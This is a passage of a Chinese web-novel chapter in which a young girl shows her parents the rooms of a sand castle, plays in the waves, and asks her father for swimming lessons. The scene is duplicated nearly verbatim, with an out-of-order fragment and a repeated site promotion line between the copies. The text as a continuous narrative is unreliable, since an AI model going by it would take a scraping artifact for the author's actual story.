“爸爸,我给你介绍一下吧。”青柠指着沙堡里的布局,认真地给他讲解,“爸爸你看,这个是客厅,我们可以在里面吃饭看电视!这个是卧室,有两张床,一张大的,一张小的,我们三个人可以在里面睡觉觉。” 青柠的话音落下,海风似乎静止了一瞬。 他们三个人,两张床,一张大的一张小的,请问这要怎么睡? 贺淮钦抬眸,看向温昭宁。 温昭宁触到贺淮钦的目光,赶紧低头去整理挖沙子的工具,假装自己什么都没有听到。 三人又蹲着一起玩了一会儿沙子,挖了一会儿贝壳。 青柠玩厌了,又有了新主意。 “爸爸妈妈,那里有浪,我们一起去踩水吧。” 她说着拔腿就跑。 温昭宁起身慢了,赶紧推了推贺淮钦,示意他跟着。 贺淮钦跑过去,牵住了青柠的手。 青柠的小脚丫一次次试探着涌上来的海浪,被冰凉的触感激得咯咯直笑,贺淮钦陪着她在浅水区来回跑,偶尔一个稍大的浪涌过来,他就把女儿抱起来,等浪褪去再把她放下。 很快,青柠又不满足于此。 “爸爸。”青柠看向贺淮钦,“你之前说要教我学游泳,今天可以学吗?” “可以学,但不能在海里,我们回酒店,去泳池里学好不好?” “好!” 青柠只要能玩到水,对她来说,大海和泳池差别不大。 贺淮钦看向温昭宁:“正好,今天也教你学游泳。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 “谢谢。”温昭宁还真有点渴了,她出来只带了青柠的水杯,忘了带她自己的了。 “不客气。” 贺淮钦蹲到青柠旁边。 青柠忙不迭地让他看自己搭的城堡。 这沙子城堡确实搭得有模有样,城墙厚实,塔楼高耸,护城河环绕,看得出来花了不少心思。 “宝贝真厉害。”贺淮钦夸道。 “妈妈也帮了忙的。” “那妈妈也厉害。” “爸爸,我给你介绍一下吧。”青柠指着沙堡里的布局,认真地给他讲解,“爸爸你看,这个是客厅,我们可以在里面吃饭看电视!这个是卧室,有两张床,一张大的,一张小的,我们三个人可以在里面睡觉觉。” 青柠的话音落下,海风似乎静止了一瞬。 他们三个人,两张床,一张大的一张小的,请问这要怎么睡? 贺淮钦抬眸,看向温昭宁。 温昭宁触到贺淮钦的目光,赶紧低头去整理挖沙子的工具,假装自己什么都没有听到。 三人又蹲着一起玩了一会儿沙子,挖了一会儿贝壳。 青柠玩厌了,又有了新主意。 “爸爸妈妈,那里有浪,我们一起去踩水吧。” 她说着拔腿就跑。 温昭宁起身慢了,赶紧推了推贺淮钦,示意他跟着。 贺淮钦跑过去,牵住了青柠的手。 青柠的小脚丫一次次试探着涌上来的海浪,被冰凉的触感激得咯咯直笑,贺淮钦陪着她在浅水区来回跑,偶尔一个稍大的浪涌过来,他就把女儿抱起来,等浪褪去再把她放下。 很快,青柠又不满足于此。 “爸爸。”青柠看向贺淮钦,“你之前说要教我学游泳,今天可以学吗?” “可以学,但不能在海里,我们回酒店,去泳池里学好不好?” “好!” 青柠只要能玩到水,对她来说,大海和泳池差别不大。 贺淮钦看向温昭宁:“正好,今天也教你学游泳。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的